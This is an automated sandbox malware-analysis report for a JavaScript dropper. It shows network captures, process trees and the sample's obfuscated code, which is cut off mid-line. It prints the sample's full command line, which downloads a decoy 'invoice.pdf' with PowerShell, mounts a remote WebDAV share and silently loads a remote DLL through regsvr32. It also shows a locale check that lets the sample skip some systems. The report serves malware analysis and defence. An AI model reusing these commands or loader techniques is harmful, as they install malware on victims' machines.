Jan 11, 2025 05:15:13.932849884 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.938114882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.958960056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959013939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959048986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959076881 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.959083080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959103107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959127903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.959175110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959213018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959223986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.959247112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959283113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959291935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.959333897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959369898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959393024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.959405899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959420919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959440947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.959459066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.959503889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.960565090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960596085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960638046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.960648060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960706949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960740089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960752010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.960776091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960814953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960819006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.960871935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960906029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960916042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.960942984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960977077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.960992098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.961013079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.961046934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.961078882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.961082935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:13.961127043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.968925953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:13.968951941 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:14.456408024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:14.863044024 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:14.867877960 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:14.868000031 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:14.868213892 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:14.873111963 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:15.657545090 CET	8888	49712	193.143.1.205	192.168.2.6
Jan 11, 2025 05:15:15.703885078 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:15:16.011291027 CET	49712	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 05:16:41.050025940 CET	52167	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:16:41.054976940 CET	53	52167	1.1.1.1	192.168.2.6
Jan 11, 2025 05:16:41.055761099 CET	52167	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:16:41.055850983 CET	52167	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:16:41.060766935 CET	53	52167	1.1.1.1	192.168.2.6
Jan 11, 2025 05:16:41.520786047 CET	53	52167	1.1.1.1	192.168.2.6
Jan 11, 2025 05:16:41.526104927 CET	52167	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:16:41.533709049 CET	53	52167	1.1.1.1	192.168.2.6
Jan 11, 2025 05:16:41.533772945 CET	52167	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:15:23.358010054 CET	57896	53	192.168.2.6	1.1.1.1
Jan 11, 2025 05:16:41.049309015 CET	53	49441	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:15:23.358010054 CET	192.168.2.6	1.1.1.1	0xe472	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:15:23.365268946 CET	1.1.1.1	192.168.2.6	0xe472	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:24.088380098 CET	1.1.1.1	192.168.2.6	0x3b70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:16:40.050009966 CET	1.1.1.1	192.168.2.6	0xe9ac	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:16:40.050009966 CET	1.1.1.1	192.168.2.6	0xe9ac	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	3132	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:15:12.379276991 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:15:13.204674006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:15:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:15:13.204694033 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:15:13.204705000 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:15:13.205369949 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 05:15:13.205384016 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 05:15:13.205396891 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 05:15:13.205409050 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 05:15:13.205420971 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 05:15:13.205431938 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 05:15:13.205452919 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 05:15:13.272799969 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49712	193.143.1.205	8888	3196	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:15:14.868213892 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:15:15.657545090 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:15:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:15:08
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js"
Imagebase:	0x7ff6d7c80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:15:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Imagebase:	0x7ff69d1c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:15:09
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:15:09
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:15:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:15:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69d1c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:15:13
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c3340000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:15:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:15:14
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:15:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1540,i,15150197900072560252,3484800557288220379,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function smacil() {	smacil() ➔ undefined
1	nprrdcxpg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fvyngt = this[ncqure + aficie + ixqgst + alsakbwa + nrpkwshtu + zrehxwyfg + lctsaefpm + hqjnovqri] ( this[gybbbbz + gqxnfa + xwzet + ixqgst + fqhyq + ncqure + hqjnovqri][dyxtkofz + ixqgst + nrpkwshtu + aficie + hqjnovqri + nrpkwshtu + gcjrgoju + ehsxdga + zmdvjqpb + nrpkwshtu + xwzet + hqjnovqri] ( gybbbbz + gqxnfa + xwzet + ixqgst + fqhyq + ncqure + hqjnovqri + ziflw + gqxnfa + ozmvrto + nrpkwshtu + hrrcqrs + hrrcqrs ) [xswim + nrpkwshtu + xsanythil + xswim + nrpkwshtu + aficie + ifhxuk] ( eoedixdkp + cxaydrjy + ebbqockp + hstwrx + yeezkg + dyxtkofz + wlubmc + xswim + xswim + ebbqockp + ixztx + vwambky + yeezkg + wlubmc + gqxnfa + ebbqockp + xswim + ioocq + dyxtkofz + paxgtqjz + lctsaefpm + hqjnovqri + ixqgst + paxgtqjz + hrrcqrs + xmtkk + omauz + aficie + lctsaefpm + nrpkwshtu + hrrcqrs + ioocq + zrehxwyfg + lctsaefpm + hqjnovqri + nrpkwshtu + ixqgst + lctsaefpm + aficie + hqjnovqri + fqhyq + paxgtqjz + lctsaefpm + aficie + hrrcqrs + ioocq + gclzsxsa + paxgtqjz + xwzet + aficie + hrrcqrs + nrpkwshtu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pevvrxowt = 0 ; pevvrxowt < nprrdcxpg[hrrcqrs + nrpkwshtu + lctsaefpm + xsanythil + hqjnovqri + ozmvrto] ; ++ pevvrxowt )
4	{
5	if ( fvyngt == nprrdcxpg[pevvrxowt] )
6	{
7	fvyngt = true;
8	break ;
9	}
10	}
11	if ( fvyngt !== true )
12	this[gybbbbz + gqxnfa + xwzet + ixqgst + fqhyq + ncqure + hqjnovqri][clmzn + hsygudrad + fqhyq + hqjnovqri] ( );
13	this[gybbbbz + gqxnfa + xwzet + ixqgst + fqhyq + ncqure + hqjnovqri][dyxtkofz + ixqgst + nrpkwshtu + aficie + hqjnovqri + nrpkwshtu + gcjrgoju + ehsxdga + zmdvjqpb + nrpkwshtu + xwzet + hqjnovqri] ( gybbbbz + gqxnfa + xwzet + ixqgst + fqhyq + ncqure + hqjnovqri + ziflw + gqxnfa + ozmvrto + nrpkwshtu + hrrcqrs + hrrcqrs ) [ixqgst + hsygudrad + lctsaefpm] ( xwzet + nearxrk + ifhxuk + xmtkk + ekhzgvyqf + xwzet + xmtkk + ncqure + paxgtqjz + nzhnnrd + nrpkwshtu + ixqgst + alsakbwa + ozmvrto + nrpkwshtu + hrrcqrs + hrrcqrs + ziflw + nrpkwshtu + thcukxk + nrpkwshtu + xmtkk + igxsk + dyxtkofz + paxgtqjz + nearxrk + nearxrk + aficie + lctsaefpm + ifhxuk + xmtkk + lhbjes + zrehxwyfg + lctsaefpm + bdovjes + paxgtqjz + dhxtbeqax + nrpkwshtu + igxsk + gybbbbz + nrpkwshtu + ehsxdga + xswim + nrpkwshtu + rzrspcktz + hsygudrad + nrpkwshtu + alsakbwa + hqjnovqri + xmtkk + igxsk + gcjrgoju + hsygudrad + hqjnovqri + mslcyne + fqhyq + hrrcqrs + nrpkwshtu + xmtkk + jspfsayh + hqjnovqri + nrpkwshtu + nearxrk + ncqure + jspfsayh + ioocq + fqhyq + lctsaefpm + bdovjes + paxgtqjz + fqhyq + xwzet + nrpkwshtu + ziflw + ncqure + ifhxuk + xwohqfle + xmtkk + ozmvrto + hqjnovqri + hqjnovqri + ncqure + utiww + ekhzgvyqf + ekhzgvyqf + jypbcdbo + fsojv + kzhdjpgye + ziflw + jypbcdbo + gbbom + kzhdjpgye + ziflw + jypbcdbo + ziflw + kcodaiea + yrexlq + aqownams + ekhzgvyqf + fqhyq + lctsaefpm + bdovjes + paxgtqjz + fqhyq + xwzet + nrpkwshtu + ziflw + ncqure + ozmvrto + ncqure + 